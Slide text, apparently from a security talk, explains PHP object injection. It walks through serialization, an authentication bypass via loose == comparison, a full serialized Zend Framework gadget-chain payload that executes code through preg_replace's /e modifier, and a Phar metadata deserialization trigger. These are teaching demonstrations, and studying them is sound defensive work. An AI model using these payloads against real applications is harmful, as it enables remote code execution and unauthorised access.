
PHP Object Injection



What is it?

$a="asdasd";

$b[0]="123"; 

php > print_r(serialize($a));

s:6:"asdasd";

php > print_r(serialize($b));

a:1:{i:0;s:3:"123";}

• This is an example of data (variables) 
serialization



What is it?

php > var_dump(unserialize('a:1:{i:0;s:3:"123";}'));

array(1) {

  [0]=>

  string(3) "123"

}

• And this is how to unserialize works:



How does it work?



What is this?

<?php

   $data = unserialize($autologin);

   if ($data['username'] == $adminName && $data['password'] == $adminPassword) {

       $admin = true;

} else {

       $admin = false;

   }

• Simple example of data serialization in web app



What is it?

<?php

   $data = unserialize($autologin);

   if ($data['username'] == $adminName && $data['password'] == $adminPassword) {

       $admin = true;

} else {

       $admin = false;

   }

• Exploitable because == is used instead of ===

$data=array();

$data[‘username’]=‘root’;

$data[‘password’]=True;



… and so?

• Unserialize objects


• Magic methods like __wakeup() call on 
deserialization


• Inspect them to find exploitable path of code


• This like old code reuse



Example of a code reuse 
exploit



Example of a code reuse 
exploit



Real life example
If web app is using PHP Zend framework, you can 
exploit any «unserialize» via old vector from 2009 by 
Stefan Esser

 O:8:\"Zend_Log\":1:{s:11:\"\0*\0_writers\";a:1:{i:0;O:

20:\"Zend_Log_Writer_Mail\":5:{s:16:\"\0*\0_eventsToMail\";a:1:{i:0;i:1;}s:

22:\"\0*\0_layoutEventsToMail\";a:0:{}s:8:\"\0*\0_mail\";O:9:\"Zend_Mail\":


0:{}s:10:\"\0*\0_layout\";O:11:\"Zend_Layout\":3:{s:13:\"\0*\0_inflector

\";O:23:\"Zend_Filter_PregReplace\":2:{s:16:\"\0*\0_matchPattern\";s:7:\"/


(.*)/e\";s:15:\"\0*\0_replacement\";s:15:\"phpinfo().die()\";}s:20:\"\0*

\0_inflectorEnabled\";b:1;s:10:\"\0*\0_layout\";s:6:\"layout\";}s:22:\"\0*


\0_subjectPrependText\";N;}}}

Are you scared? 
:)



Real lifeexample

Zend_Log
_writers



Real life example

Zend_Log_Writer_Mail
_eventsToMail


_subjectPrependText

_mail


_layout

_layoutEventsToMail



Real life example

Zend_Layout
_inflector 

_inflectorEnabled _layout



Real life example

 
Zend_Filter_PregReplace


_matchPattern 
_replacement

If this modifier is set, preg_replace() does normal 
substitution of backreferences in the replacement string,
evaluates it as PHP code, and uses the result for replacing 
the search string. Single quotes, double quotes,
backslashes (\) and NULL chars will be escaped by 
backslashes in substituted backreferences.



Real life example

 Zend_Filter_PregReplace

_matchPattern = ‘/(.*)/e’ 


_replacement = ‘phpinfo().die()’

Zend_Log
_writers

Zend_Log_Writer_Mail
_eventsToMail = array(1)


_subjectPrependText = null

_mail


_layout

_layoutEventsToMail = array(1)

Zend_Layout
_inflector


_inflectorEnabled = true

_layout = ‘layout’

 Zend_Mail



Phar feature
readfile("phar://./deser.phar");

file_exists…

getimagesize…

is_file…

is_dir…

is_readable…

is_writable…

…

+

$p = new Phar('./deser.phar', 0);

$p['file.txt'] = 'test';


$p->setMetadata(new VulnerableClass());

 $p->setStub('<?php __HALT_COMPILER(); ?>');

class VulnerableClass {

    function __destruct() {

        echo "PWN\n";

    }

}



Phar feature

$ cat deser.phar



Phar feature

= 


PWN!!!


Trigger unserialize with some filesystem functions


PHP executes __destruct and __wakeup on deserialized 
object



That’s all!


